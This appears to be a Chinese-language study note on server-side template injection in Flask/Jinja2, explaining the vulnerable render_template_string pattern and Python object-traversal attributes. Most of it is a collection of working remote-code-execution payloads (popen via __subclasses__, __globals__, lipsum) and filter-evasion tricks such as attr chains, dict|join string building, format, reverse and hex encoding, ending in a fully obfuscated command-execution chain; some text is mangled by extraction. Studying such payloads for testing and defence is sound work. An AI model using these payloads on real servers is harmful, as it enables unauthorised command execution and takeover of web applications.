SSTI
SSTI(服务器端模板注入)
当前使用的框架,python 的 flask、 java 的 spring 等都是用户的输入传入控制器,然后根据请求类型和请求的指令发送给对应的业务模块进行业务逻辑判断,数据库读取,最后把结果返回给视图层,渲染后展示给用户
这个漏洞的成因就是因为服务器端接收到了用户的恶意输入后,没有任何处理就将其作为 web 模板的一部分,模板引擎在渲染目标时,执行了用户插入的恶意语句,导致了信息泄露、代码执行等问题
模板注入一般都会使用 {{}} 包裹恶意代码,因为在渲染函数中,不会对变量进行渲染, {{}} 中的内容会被当作变量解析,所以可以实现模板注入

模板引擎
模板是一种将数据转化为实际的视觉表现(HTML)的一种手段
模板的好处是数据放到模板中,直接渲染成 html 文本,返回给浏览器,展示快
这里有两种渲染方式
后端渲染:数据传输到服务器或者数据直接存储在服务器中,后端使用模板解析这些数据并渲染成 HTML 返回给浏览器
前端渲染:浏览器从服务器得到的是数据,由浏览器前端渲染成 HTML 给用户
就比如要在前端显示用户名,但是每个用户的名字不同,我们要接收数据后,渲染到 name 变量中,再展示给用户
<html>
<h1>{$name}</h1>
</html>
flask
这里记录一下 flask 的漏洞
flask 使用 render_template() 来渲染模板,使用这个方法是不会产生 ssti 的,因为输入的内容会先被 render_template() 渲染好,已经不可控了
@app.route("/login")
def login():
name = 1
return render_template("login.html",name=name)
但是如果偷懒,比如下面直接用格式化拼接用户可控的字符,就会出现 ssti 漏洞
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
在 flask 中,模板有几种语法
{% %}可以用来声明变量,也可以用来构造循环语句和条件语句{% set x = 'marin' %} # 声明变量 {% for i in ['a','b','c']%} {{i}} {% endfor %} #循环 {% if 25=5*5 %} {{1}} {% endif %} #条件{{ }}可以用来将表达式打印到模板输出`` 表示未包含在模板输出中的注释
# # 可能和{% %}有相同的效果
payload
这里记录一下 payload 经常会用的一些知识点
python
在 python 中,模块可以用
.访问,但是字典不支持
__class__用于获取对象的类,在 python 中,所有东西都是对象
获取了类之后在 ssti 中就可以得到很多东西了__base__返回一个对象所直接继承的父类
__mro__返回一个按继承顺序包含父类的元组
__subclasses__返回当前类的所有子类
__init__所有原生类都包含的一个方法,用来初始化一个对象,返回的类型是
function,用来当跳板调用__globals____globals__是一个
function对象的属性,用来获取函数下所有可以使用的 module、方法、变量,返回一个字典__builtins__这是一个自动注入到每个作用域中的命名空间,有许多名字到对象之间的映射,其实就相当于字典,但是可以用
.调用其中的对象__str__()用来转化为字符串,并且可以用下标取字符串
config.__str__()[1]__getitem__()这个是用下标访问时的行为,
obj[key] 就相当于obj.__getitem__(key),就是用在[]被 wafg{{g}} 得到<flask.g of 'flask_ssti'>request.environ运行时的环境变量
基础 payload
{{ "".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls ../').read() }}
{{ url_for.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()") }}
{{ lipsum.__globals__['os'].popen('ls').read() }}
{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
{% print (lipsum|attr(__globals__)).os.popen('ls').read() %}
绕过技巧
request绕过waf 了
[]、""可以使用request.args.a、request.values.a、request.cookies.a字符绕过
{{ config.__str__()[1] }}获取字符{% str chr=url_for.__globals__.builtins__.chr %}获取 chr 方法构造字符过滤器绕过
attr用来动态获取某个属性的值
{{ obj|attr('属性') }} {{ attr(obj,'属性') }}string|list将对象转化为字符串,然后再转化为列表,可以用来获取字符,相当于
str()、list(){{ (config|string|list).pop()[i] }}join把可迭代对象的元素拼接成一个字符串
一般和dict() 配合构造属性,作用于字典时,会将 key 拼接起来,默认用''拼接
作用于元组时,就是直接拼接起来{% set po=dict(po=a,p=b)|join %} {% set built=(_,_,dict(builtins=a)|join,_,_)|join %}length用于获取数字,会返回字符串长度
{% set a=dict(a=a)|join|length %}format用于格式化字符串
{% print "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) %} # __class__replace替换字符串
{% print "__claee__"|replace('e','s') %} # __class__reverse反转字符串
{% print "__ssalc__"|reverse %} # __class__select原本是原来筛选元素的,但是作用于空元组时,会生成一个生成器对象,然后配合
string|list获取字符{% set a=(()|select|string|list)|attr(pop)(24) %}
反弹 shell
全角字符替代
可以用全角的数字替代数字
def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0xfee0) elif ord(ch) == 32: ch = chr(0x3000) else: pass full += ch return full t='' s="0123456789" for i in s: t+='\''+half2full(i)+'\',' print(t)十六进制编码绕过
{% print "\x5f\x5fclass\x5f\x5f" %} # __class__绕过
. 和[]的 waf比如这个 paylaod ,最后使用的可以完全用
attr 来绕过,这里同时绕过了'' ,如果正常使用的attr() 这里是要输入字符串,不能用''就需要在前面拼接出字符串再使用{% set po=dict(po=a,p=a)|join %} {% set a=(()|select|string|list)|attr(po)(24) %} {% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join %} {% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join %} {% set getitem=(a,a,dict(get=a,item=a)|join,a,a)|join %} {% set popen=dict(popen=a)|join %} {% set read=dict(read=a)|join %} {% set o=dict(os=a)|join %} {% set cmd=dict(dir=a)|join %} {{ (lipsum|attr(glo))|attr(getitem)(o)|attr(popen)(cmd)|attr(read)() }}过滤了
[] 可以使用getitem获取
参考: